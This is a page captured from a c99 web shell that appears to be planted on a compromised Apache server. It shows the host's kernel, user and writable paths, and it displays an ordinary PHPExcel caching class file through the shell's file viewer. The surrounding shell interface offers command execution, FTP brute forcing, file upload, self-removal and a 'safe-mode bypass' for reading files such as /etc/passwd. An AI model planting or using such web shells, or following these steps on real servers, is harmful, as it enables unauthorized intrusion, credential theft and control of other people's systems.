!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/PHPExcel/PHPExcel/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CachedObjectStorageFactory.php (3.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class PHPExcel_CachedObjectStorageFactory {
    const 
cache_in_memory                'Memory';
    const 
cache_in_memory_gzip            'MemoryGZip';
    const 
cache_in_memory_serialized    'MemorySerialized';
    const 
cache_to_discISAM                'DiscISAM';
    const 
cache_to_apc                    'APC';
    const 
cache_to_memcache                'Memcache';
    const 
cache_to_phpTemp                'PHPTemp';
    const 
cache_to_wincache                'Wincache';


    private static 
$_cacheStorageMethod null;

    private static 
$_cacheStorageClass null;


    private static 
$_storageMethods = array(
        
self::cache_in_memory,
        
self::cache_in_memory_gzip,
        
self::cache_in_memory_serialized,
        
self::cache_to_phpTemp,
        
self::cache_to_discISAM,
        
self::cache_to_apc,
        
self::cache_to_memcache,
        
self::cache_to_wincache,
    );


    private static 
$_storageMethodDefaultParameters = array(
        
self::cache_in_memory                => array(
                                                    ),
        
self::cache_in_memory_gzip            => array(
                                                    ),
        
self::cache_in_memory_serialized    => array(
                                                    ),
        
self::cache_to_phpTemp                => array( 'memoryCacheSize'    => '1MB'
                                                    
),
        
self::cache_to_discISAM                => array(
                                                    ),
        
self::cache_to_apc                    => array( 'cacheTime'        => 600
                                                    
),
        
self::cache_to_memcache                => array( 'memcacheServer'    => 'localhost',
                                                      
'memcachePort'    => 11211,
                                                      
'cacheTime'        => 600
                                                    
),
        
self::cache_to_wincache                => array( 'cacheTime'        => 600
                                                    
)
    );


    private static 
$_storageMethodParameters = array();


    public static function 
getCacheStorageMethod() {
        if (!
is_null(self::$_cacheStorageMethod)) {
            return 
self::$_cacheStorageMethod;
        }
        return 
null;
    }    
//    function getCacheStorageMethod()


    
public static function getCacheStorageClass() {
        if (!
is_null(self::$_cacheStorageClass)) {
            return 
self::$_cacheStorageClass;
        }
        return 
null;
    }    
//    function getCacheStorageClass()


    
public static function getCacheStorageMethods() {
        return 
self::$_storageMethods;
    }    
//    function getCacheStorageMethods()


    
public static function initialize($method self::cache_in_memory$arguments = array()) {
        if (!
in_array($method,self::$_storageMethods)) {
            return 
false;
        }

        switch(
$method) {
            case 
self::cache_to_apc    :
                if (!
function_exists('apc_store')) {
                    return 
false;
                }
                if (
apc_sma_info() === false) {
                    return 
false;
                }
                break;
            case 
self::cache_to_memcache :
                if (!
function_exists('memcache_add')) {
                    return 
false;
                }
                break;
            case 
self::cache_to_wincache :
                if (!
function_exists('wincache_ucache_add')) {
                    return 
false;
                }
                break;
        }

        
self::$_storageMethodParameters[$method] = self::$_storageMethodDefaultParameters[$method];
        foreach(
$arguments as $k => $v) {
            if (isset(
self::$_storageMethodParameters[$method][$k])) {
                
self::$_storageMethodParameters[$method][$k] = $v;
            }
        }

        if (
is_null(self::$_cacheStorageMethod)) {
            
self::$_cacheStorageClass 'PHPExcel_CachedObjectStorage_'.$method;
            
self::$_cacheStorageMethod $method;
        }
        return 
true;
    }    
//    function initialize()


    
public static function getInstance(PHPExcel_Worksheet $parent) {
        if (
is_null(self::$_cacheStorageMethod)) {
            
self::initialize();
        }

        
$instance = new self::$_cacheStorageClass($parent,self::$_storageMethodParameters[self::$_cacheStorageMethod]);
        if (!
is_null($instance)) {
            return 
$instance;
        }

        return 
false;
    }    
//    function getInstance()

}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--